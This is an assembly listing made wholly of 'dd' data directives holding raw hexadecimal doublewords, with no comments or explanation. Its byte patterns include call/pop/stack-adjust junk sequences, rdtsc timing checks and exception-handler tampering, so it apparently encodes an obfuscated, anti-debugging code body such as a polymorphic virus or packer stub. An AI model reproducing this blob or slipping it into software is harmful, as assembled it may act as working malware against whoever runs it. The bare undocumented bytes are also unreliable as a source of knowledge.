		dd 105587CDh, 0E3781947h, 59BB3D3Ah, 0A54284ADh, 840Fh
		dd 5F5B0000h, 6E8h, 5F469800h, 5F6C39F4h, 1EB1BD83h, 0F020612h
		dd 4584h, 0F7C38100h, 8B388099h, 1203A585h, 9D8B6006h
		dd 6121311h, 0CA1BD89h,	0C6610612h, 8E80000h, 81000000h
		dd 0E0FFA065h, 893A2D71h, 1209CDBDh, 0E9515B06h, 0Dh, 553DC445h
		dd 0DAB13CBEh, 70AC4C15h, 85C75B4Bh, 6121B59h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 16C35242h
		dd 6617BA77h, 90B8E381h, 0FFF19FE9h, 91B589FFh,	8B061216h
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0D2330388h, 8AF927B2h, 1858DF8h,	5706122Eh
		dd 5FFFBF0Fh, 50AFB390h, 8B0Fh,	6A900000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 94C8C356h
		dd 0D88D2005h, 9D8BB75Ah, 6121EEDh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E8408EC3h
		dd 6ACB113Dh, 0E5958900h, 89061212h, 1223ED95h,	89858D06h
		dd 6A0616BAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0AF62C356h, 773DDE33h,	286D9509h
		dd 0C0830612h, 0DFB70F05h, 11E85090h, 0F5000000h, 386BC764h
		dd 0BE49701Ah, 0B0416FC8h, 0A1EBA011h, 5F515250h, 5250310Fh
		dd 585A310Fh, 905B585Ah, 19D58D29h, 6A0612h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7CC35747h, 6A055E29h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0FBA50BDDh, 0E9D2FD4Eh, 0Eh, 0F7161FC0h
		dd 0FE2BC48Bh, 3CC1B091h, 95FF2D42h, 6120DB5h, 8B66DA8Bh
		dd 28D8DFEh, 290615AFh,	122AE9B5h, 6AD1FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 1BF6C351h, 6DAEFE9Eh, 89E7ADFAh, 12303D95h, 0ADBD8306h
		dd 1061207h, 79850Fh, 12E90000h, 68000000h, 6A19F9E1h
		dd 0EFA0B5B8h, 0E74FB926h, 1AFCDF20h, 0A18D31ACh, 6A061217h
		dd 57006A02h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 85958925h, 90061216h, 8E960h, 1F540000h
		dd 5601845Ah, 60609DD8h, 50616161h, 0AA0802BFh,	95019078h
		dd 61203D1h, 6A595FFh, 870F0612h, 0Bh, 5800Fh, 69BF0000h
		dd 0E93316A7h, 0E75h, 0E8h, 0ED815D00h,	616BA93h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E4C35343h, 0C59713C2h
		dd 0BD019DDBh, 61222E1h, 3462BB66h, 8D0Fh, 858D0000h, 6159437h
		dd 0E9525090h, 6, 41CDF0DCh, 310FA0E6h,	5ADF8B66h, 0C1BF5058h
		dd 907D81D7h, 68F0Fh, 8D890000h, 6121881h, 35FF64h, 0F000000h
		dd 688h, 719D2300h, 6406121Fh, 2589h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 8076D5C3h, 0ACA70A2Bh, 870F267Dh, 3,	0FFDFBF0Fh, 12067985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0CDDD6622h, 0BE9616CCh, 11E860h,	0A63F0000h
		dd 407E56FFh, 0EEACA2F8h, 8C46B76Ah, 97BB25Eh, 122965B5h
		dd 6A615E06h, 11E9FFh, 0BCD60000h, 0F3A513D8h, 0DF672B9Bh
		dd 0CFF00E3Dh, 0FF840162h, 123119B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0F78CB5ACh, 72EA5231h, 2CB595FFh, 2BE90612h,	8B000001h
		dd 121235BDh, 0F00B006h, 580h, 0F7816600h, 70E6E3D2h, 71E4F98Bh
		dd 8E9h, 0B378C900h, 94D32B87h,	0F613CE6h, 0FD83h, 0FEBF0F00h
		dd 66C8B60Fh, 6BAD88Bh,	60000000h, 8BCEB70Fh, 1228A19Dh
		dd 0C18B6106h, 12E9h, 67B7C100h, 4990AEEBh, 4A818E1Eh
		dd 359783CDh, 0C13F7C33h, 958904E8h, 6121159h, 31E2F766h
		dd 12208185h, 0FC82B06h, 884h, 9D8B5700h, 6122EFDh, 0F9D18B5Fh
		dd 0D9B70F60h, 29259D89h, 0E9610612h, 6, 11A19D8Bh, 858B0612h
		dd 6121265h, 15B5BD8Bh,	0C0830612h, 33CF8007h, 6600C083h
		dd 8989B3BFh, 1205AD95h, 0FD03B06h, 1883h, 0CE800h, 99970000h
		dd 0D55FEDDAh, 46955D69h, 0E95F1BF2h, 52h, 0C18D8BFCh
		dd 0E9061208h, 14h, 32A65852h, 516ED365h, 0CC906BFFh, 0F72F5DEBh
		dd 2E29EC5Ah, 0F01E183h, 2984h,	0F7816600h, 0A58308FEh
		dd 61208C1h, 0A5BD8BFEh, 89061204h, 12126595h, 68C0F06h
		dd 8B000000h, 120975BDh, 0E906h, 0B58D0000h, 6163123h
		dd 6AFD8Ah, 18999D0Bh, 7E90612h, 0C6000000h, 2B52F8D0h
		dd 95FFA6FCh, 61219CDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 2CC35545h, 64CA30B6h,	0F8627862h, 85FB9h
		dd 83FA8B00h, 8166FCE1h, 0FC9EB3DBh, 4EE6BF66h,	0B8D98B66h
		dd 0
		dd 4880Fh, 0BF660000h, 0B5894E66h, 6120329h, 9529D22Bh
		dd 6120CB9h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	68A0Fh
		dd 0BD8B0000h, 612064Dh, 153DBD89h, 880D0612h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0DB93C350h, 0DC9DDE13h, 599D89DCh, 8B061204h
		dd 1209A195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0A0789077h, 0FABF0F88h, 5058D8Bh
		dd 8B500612h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 52006AFCh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 21BD83D4h, 61221h, 48840Fh, 8B530000h, 0B85FD9h
		dd 0F000000h, 887h, 28D0F00h, 8A000000h, 0B58D8DDEh, 6A06124Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 8FC5C357h, 0FEE006C8h, 0E1FF8E78h, 5319D8Bh
		dd 0BD830612h, 6121BD9h, 0A0840F00h, 6A000005h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 89C0C352h, 0CE1A36C7h, 18E1BD89h, 0BD830612h, 6121BD9h
		dd 87840F01h, 6A000005h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 10B2C350h, 0BD83837Ah
		dd 6121BD9h, 25860F03h,	60000005h, 0FFB8B66h, 6061F8BFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FEC35646h
		dd 38716508h, 71BF2EB0h, 663C8C6Bh, 9D8BD98Ch, 6121D91h
		dd 6A04E180h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 7F41C350h, 57FF09CAh, 2275B589h
		dd 0A5F0612h, 8B840FC9h, 8B000001h, 121C199Dh, 8D858B06h
		dd 6A061230h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 130C357h, 8E9h, 9560EC00h, 7575B66Bh
		dd 65853372h, 0E9061231h, 0Ch, 85916D0Fh, 0FE7F950Ch, 53C9BC9Dh
		dd 0BE890h, 30400000h, 82FE2A54h, 0A5F1664Eh, 4BBF6679h
		dd 50505B43h, 7BB36052h, 7E9h, 6FD42900h, 27525CDDh, 0E9310F61h
		dd 8, 9A4050C7h, 3F7A9467h, 6A90585Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0F81CC350h
		dd 9D8B40FEh, 6123001h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0C53AC3h, 0DBB70F51h
		dd 159D8B57h, 5B061231h, 4E8h, 1F03FF00h, 52505300h, 310F5250h
		dd 310F585Ah, 310F5250h, 585A585Ah, 12E8505Fh, 8A000000h
		dd 0F00AFA78h, 92C12E0Bh, 0C58E9AA1h, 25CE921Ch, 5B5F539Eh
		dd 424448Bh, 48E0Fh, 0BB660000h, 8B3393h, 6E9h,	0D2D47600h
		dd 891515BDh, 0E9042444h, 11h, 3DC2B63Eh, 0E778DD73h, 27168F73h
		dd 35668A3Bh, 6A583Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0D984F2C3h, 7995FFD2h, 0BB061223h
		dd 5F315161h, 0C8128589h, 8C0F0615h, 6,	907ECB81h, 9EE903C5h
		dd 66000002h, 858BD98Bh, 615C80Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0B8C35242h,	37823147h, 6C65C5A1h
		dd 1C5DBD8Bh, 13E80612h, 68000000h, 42815648h, 1763400h
		dd 40DABA50h, 1F129C44h, 0BF66CC08h, 0C75B4C80h, 1800h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 3598261Ch, 14AFCD3Eh, 0B58BCC10h, 615C80Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 2AC35747h
		dd 9D00215Ah, 10B9D15Eh, 5800Fh, 3ABF0000h, 8B527702h
		dd 122AB985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0C7606EE0h, 60755817h, 0FCEB70Fh
		dd 68Ch, 0C98D2900h, 61061223h,	0BD890689h, 6121321h, 308D858Bh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 5E2BE4C3h, 72B66097h, 0D19D8B52h,	5B061221h
		dd 4468961h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0A2C35646h, 0E6D27F99h,	96A9B5B3h, 28E0FDFh, 0B7000000h
		dd 8B6696DFh, 0CE850FEh, 8E000000h, 92D253A8h, 0AB0F5514h
		dd 0BBEE2329h, 1D5278E2h, 6A965Fh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0BBF2A6C3h, 400D5BC4h
		dd 0C80AB5FFh, 6A0615h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 950FDFC3h, 93D2FA70h, 895009B5h
		dd 123041BDh, 4E806h, 3FF0000h,	8C0F001Fh, 13h,	0EE9h
		dd 7D8BDE00h, 5F9F683Bh, 55DA7197h, 50665275h, 277632BBh
		dd 24448B1Ah, 0D98B6604h, 4489008Bh, 8B660424h,	6A58DAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0C8C66AC3h, 6DA8B807h, 8B676B44h, 1219E5BDh,	12858D06h
		dd 6A0615C8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 95F9C355h, 6E9h, 7EEED800h, 89EAE3A8h
		dd 122C399Dh, 830F9006h, 0Bh, 70B35250h, 8B66310Fh, 50585AD8h
		dd 90DA8B66h, 95FFD98Ah, 6122379h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0D8C35545h,	0B852FFC2h, 0A254C84Dh
		dd 8E96170h, 0F3000000h, 0BAAE7559h, 0C73C8108h, 121BD985h
		dd 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 324B2D08h, 65116F18h, 5416BF30h
		dd 0BD836D25h, 615C812h, 45840F00h, 8B000000h, 12004DBDh
		dd 0F9BD8B06h, 0E906122Fh, 4Fh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 42C35343h, 6CB58C53h, 9C24BF66h
		dd 0A19D0160h, 0F061222h, 28Dh,	615A5300h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0ABCFC350h, 6AE1DB69h, 68A0Fh, 0EB810000h, 7679EAB9h
		dd 30259D8Bh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 828D52C3h, 0EFBF5DFBh, 2DA22BFh
		dd 6D8D295Bh, 83061201h, 121BD9BDh, 850F0306h, 3EBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 98C35141h, 0BD03DEB1h
		dd 6120DADh, 0C812BD83h, 0F000615h, 3BA84h, 0D1852900h
		dd 0FF06120Eh, 15C812B5h, 0ACBF6606h, 0A995FFBCh, 0F906121Ah
		dd 0C806B58Bh, 0E3800615h, 0D78166D9h, 6C728FBh, 10001h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 80C35747h
		dd 38DEF44Eh, 70894317h, 0AE8964Eh, 0D000000h, 3E61C90Ah
		dd 50DC7141h, 6850FCFh,	50000000h
		dd 5A310F52h, 0B7505B58h, 0B5FF9675h, 615C812h,	9B04F381h
		dd 95FF68AAh, 6121C05h,	0B58BDE8Bh, 615C806h, 29D19D8Bh
		dd 858B0612h, 61201A5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 0D9C35242h, 86892378h, 0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 5FC35141h, 0F88A5B4Ah
		dd 0A18D2960h, 60061228h, 0AE9h, 6B4E4100h, 0AAE19B91h
		dd 8B415BC8h, 121D6985h, 8B616106h, 1209A195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 8EDF2232h, 0ACABA4B0h, 6A04C283h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8157C352h
		dd 9C5F91C7h, 2050896Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0B2C35242h, 0D86C2DFBh, 0BD8BA463h, 6123139h
		dd 5AF55260h, 0F58D8Bh,	8D610612h, 15DC6F85h, 0B8868906h
		dd 6A000000h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 898A305h,	9D893C4Fh, 6121BD5h, 0C812B5FFh
		dd 95FF0615h, 61206A5h,	3850Fh,	0C3800000h, 52509681h
		dd 0C8C0Fh, 7E90000h, 0DC000000h, 0AAADBh, 310FF52Ch, 585A1EB7h
		dd 0B3525050h, 5A310F4Dh, 0BF669658h, 8166574Fh, 0FF2B03C7h
		dd 15C812B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0E2495C22h, 1799D89h, 95FF0612h
		dd 6120281h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	1BC35242h, 0FD050B7Dh, 0EF816617h, 0BD8356BEh
		dd 6122A09h, 69840F00h,	0E8000000h, 0Bh, 59AA2891h, 0EC0B9E1Eh
		dd 0B17B308h, 1223DDBDh, 0B5895B06h, 61209F1h, 0F525050h
		dd 13E831h, 0FDAE0000h,	0FF30B172h, 6E3956F0h, 51F13ADFh
		dd 95B44418h, 8E0F57h, 5F000000h, 3489585Ah, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 85096329h, 6121495h,	0C812B5FFh, 0BB660615h,	95FF2F3Bh
		dd 61218C1h, 0AE8h, 69D01D00h, 54E9D842h, 0FDE525Dh, 68Ah
		dd 0E1BD8B00h, 5B061223h, 0C812B5FFh, 6A0615h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0E18A6CC3h, 0E8237E8Bh, 0Fh,	0F633C7FCh, 0A2160054h
		dd 0B7498BAAh, 0F587F5Fh, 0FF5FFEB7h, 121BA195h, 29BD8B06h
		dd 83061210h, 121EB1BDh, 840F0206h, 46h, 14D9BD8Bh, 8E90612h
		dd 0D6000000h, 41D68B99h, 8B82FB59h, 1203A585h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0B5896006h, 61216B1h, 6116DF80h, 0F0000C6h, 85C7FFBFh
		dd 6121B59h, 0
		dd 6E860h, 83E00000h, 82940FF8h, 10E95Fh, 0B3BA0000h, 0AA32F49h
		dd 0E8A7160Fh, 0B784401Ah, 0E9614530h, 0FFFFF2CFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 34C35242h, 0F17A48Ch
		dd 0C18BFE8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	92C35646h, 0EBB860D9h, 8B77D699h, 1858DF9h, 6A06122Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0E80EC351h, 0Bh, 0ECDC4D84h, 0F52700CBh
		dd 8BEA757Dh, 1229059Dh, 60905F06h, 0BCB96651h,	0BB665B4Dh
		dd 5061D6F4h, 0AE9h, 90EF3A00h,	0E384ACC0h, 9081E2E6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0A1C35747h
		dd 89A6E2BDh, 122919B5h, 80006A06h, 6A91CFh, 7D953360h
		dd 2B06121Dh, 12211DB5h, 0FE96106h, 11000000h, 9580BCAh
		dd 7C13A17Dh, 9984321Fh, 858D7079h, 616CB51h, 48B0Fh, 0BF660000h
		dd 0C0837640h, 0DB53105h, 9006121Dh, 9E8h, 0AF2B2300h
		dd 276170E2h, 0BF579C5Ch, 58B217EDh, 0E8505B5Bh, 0Ch, 933C80D1h
		dd 17526C7Fh, 9DC7B63Dh, 0BE8h,	111D300h, 12B43B59h, 81B91087h
		dd 5B5FF98Bh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 550EC887h, 5263DE41h, 85895254h
		dd 6122BEDh, 8B006A5Bh,	6A006AFAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 4B2CC355h
		dd 0C54061F3h, 0E8B59FDEh, 14h,	31BF9F88h, 279F806Ah, 8BF6C07Ah
		dd 188A0DD5h, 46FC4B57h, 7D1BD8Bh, 0FF5B0612h, 120DB595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 4CBF6623h, 28D8D5Ch, 530615AFh, 25D9D8Bh
		dd 0FF5F0612h, 56006AD1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 4407D4C1h, 23F7845h, 0DBB70FF7h
		dd 7ADBD83h, 0F010612h,	7285h, 5E900h, 0C93D0000h, 6A34F992h
		dd 57006A02h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 436C7ECAh, 55C17B0Ch, 0DF8B902Ah, 50605150h
		dd 5A310F52h, 905B6158h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 2EC35545h, 0A15BE87Eh, 0DA8B9B81h, 6A595FFh
		dd 0FC600612h, 126D8D89h, 0E9610612h, 0DE1h, 0E8h, 0ED815D00h
		dd 616CB5Bh, 565B529h, 23570612h, 121CB59Dh, 0BD8B5F06h
		dd 6120489h, 9437858Dh,	0F900615h, 28Ch, 50D88B00h, 4B39BF66h
		dd 13E990h, 62630000h, 3977ABCDh, 0DB0D0C1Dh, 0D8E2C7C5h
		dd 53F3FD09h, 35FF644Fh, 0
		dd 0C318589h, 89640612h, 25h, 0FFFDB700h, 12067985h, 1D9D8B06h
		dd 6A061211h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 471F7761h, 9C0FA0Eh, 121EAD8Dh, 5FF55106h
		dd 2A69B5FFh, 95FF0612h, 6122CB5h, 0E8E9h, 0B300B000h
		dd 8B70E673h, 122081BDh, 6671E406h, 3C1123BFh, 0CE830F61h
		dd 23000000h, 122AC59Dh, 0C8B60F06h, 0A9BF6660h, 0DABF0FF1h
		dd 9BD8B61h, 0BA061205h, 6, 2FF19D8Bh, 0C18B0612h, 0C1DFB70Fh
		dd 9D8B04E8h, 6120EEDh,	81E2F766h, 58D609D3h, 8BC82B65h
		dd 12311D9Dh, 0BFD18B06h, 7489DF39h, 80E9h, 8E900h, 0FA560000h
		dd 9D3CCA78h, 858BC6E2h, 8, 5859D8Bh, 0C0830612h, 89BD0907h
		dd 8306122Dh, 860F00C0h, 11h, 0CE9h, 0BB2F9100h, 3C2C1963h
		dd 2F86C39Fh, 0FD03BE6h, 0D83h,	0E9FE8B00h, 35h, 1C55B509h
		dd 8D8B0612h, 0FFFFFFFFh, 9FF915BBh, 1E1833Ch, 1B840Fh
		dd 0A5830000h, 0FFFFFFFFh, 0FBBF0FFEh, 89589h, 0F3810000h
		dd 727A2E09h, 0E9h, 0BB58D00h, 6A06164Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 171C357h
		dd 0F6BE0B9h, 487h, 61605000h, 0F006A5Fh, 95FFFFBFh, 61219CDh
		dd 34C1BD8Bh, 7DB90612h, 52000010h, 219D8B53h, 5B061215h
		dd 5185895Bh, 8306121Dh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 89C187C3h, 1201B19Dh
		dd 6AFC06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0FD8F20C3h, 3F26DD29h, 4830FE0h, 66000000h
		dd 2BE4A4BFh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0FB4D6C4h, 9DBD8B10h, 2B061209h
		dd 57006AD2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0AD37696Fh, 0E8D1C233h, 0E983D003h, 89F47504h
		dd 12165995h, 0DDA8B06h, 88h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0DAC35141h,	9D5E314Bh, 8BDF125Ch
		dd 1209A195h, 58D8B06h,	6A061205h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E90EC350h
		dd 0Bh,	55A7B98Eh, 0F6139330h, 8989F774h, 120095BDh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0BB58188Bh, 11C59610h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 26C35343h
		dd 4C1BEC0Ch, 9D8B76FAh, 6121B35h, 2121BD83h, 0F000612h
		dd 7584h, 27BB6600h, 0B887h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0BF9E6AC3h
		dd 2E8D46E6h, 0F70D853h, 181h, 0BD8BF500h, 6121F25h, 4DB58D8Dh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 7B9926C3h, 6692881Ch, 0B482CB81h,	1115B529h
		dd 0E1FF0612h, 3FD9589h, 0BD830612h, 6121BD9h, 0B1840F00h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8383C350h, 121BD9BDh, 840F0106h
		dd 4A3h, 24582CBFh, 0D9BD837Dh,	306121Bh, 45B860Fh, 0BF660000h
		dd 0BD8B64B6h, 61230A9h, 50006A60h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 165E48E0h, 8BC82EE0h
		dd 1221C1BDh, 559D8B06h, 66061231h, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0CC78DCC3h
		dd 6E9D3h, 48D20000h, 194BE240h, 6A04E180h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0FD12C350h
		dd 0FC90ACEh, 18B84h, 28A0F00h,	8B000000h, 8D858BDFh, 6A061230h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 9FDAC355h, 0E8F0Fh, 9E90000h, 0C7000000h
		dd 701A386Bh, 6FC8BE49h, 0A264D781h, 85337393h,	6123165h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 18C35747h
		dd 0A36B90E0h, 8153FC66h, 62DAEFC3h, 0BF665018h, 4899F11h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 7FF99F72h, 46B74B72h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DCE44AC3h
		dd 261D9D0Bh, 0B4680612h, 508A01B5h, 0FFE8B52h,	28E0F31h
		dd 60000000h, 81585A61h, 4E4B2404h, 6A761Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E863C6C3h
		dd 6, 0B2CE69C4h, 10E9600Bh, 0A3000000h, 0DFB23A56h, 0BE261A9Eh
		dd 7CA9AB8Fh, 5B6515CDh, 1565BD8Bh, 0D98A0612h,	237995FFh
		dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 219E94C3h, 89A1999Ch, 15C81285h, 48C0F06h
		dd 60000000h, 0E9615F51h, 219h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 9EC35747h, 6840Fh, 8D890000h
		dd 6121545h, 0C80A858Bh, 12E90615h, 19000000h, 10E20F96h
		dd 0EADF9E0Ah, 6672709Dh, 869433EDh, 9D2B603Ah,	6121A39h
		dd 359D89h, 0C7610612h,	1800h, 5E900h, 0C38E0000h, 8BC9DE27h
		dd 15C80EB5h, 0DE8B6606h, 2AB9858Bh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6EF3E2C3h
		dd 80B7D4B1h, 0B70FE4A2h, 8B0689FBh, 12037D9Dh,	8D858B06h
		dd 6A061230h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 52AAC355h, 0DA8DBAF5h,	8B507379h
		dd 1215599Dh, 0F605F06h, 0BD8BDAB7h, 61208BDh, 4468961h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E2C35646h
		dd 0F506096h, 87h, 50615A00h, 6688BB66h, 0A99D8B96h, 0FF061221h
		dd 15C80AB5h, 0F1BD8B06h, 0E806120Dh, 4, 1F03FFh, 10E9h
		dd 28B11A00h, 1985CCCAh, 160696AEh, 9BE51318h, 8B665095h
		dd 24448BF9h, 2800F04h,	0B7000000h, 0E9008B02h,	7, 8BC31278h
		dd 89737A60h, 60042444h, 9E8h, 94197B00h, 98FB9FA4h, 820FE9F0h
		dd 0
		dd 58F0F5Fh, 0BF000000h, 2430080Eh, 6A5861h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 593674C3h
		dd 665A8252h, 92DCC781h, 0C812858Dh, 9D890615h,	6121A11h
		dd 28B0F50h, 0B3000000h, 24048925h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E7C35242h,	3B2BEF9Bh, 0BEE73D4Eh
		dd 237995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0E6EBBFC3h, 3557223Ah, 3DBD89F3h
		dd 8B06121Eh, 1207A1BDh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 723902C3h, 0DE9EBBB5h
		dd 85C76036h, 6121BD9h,	3, 133DBD8Bh, 0BD830612h, 615C812h
		dd 0E840F00h, 80000000h, 21E923E7h, 3000000h, 1215ED9Dh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 8820Fh, 8B530000h, 121F51BDh, 0BD835F06h
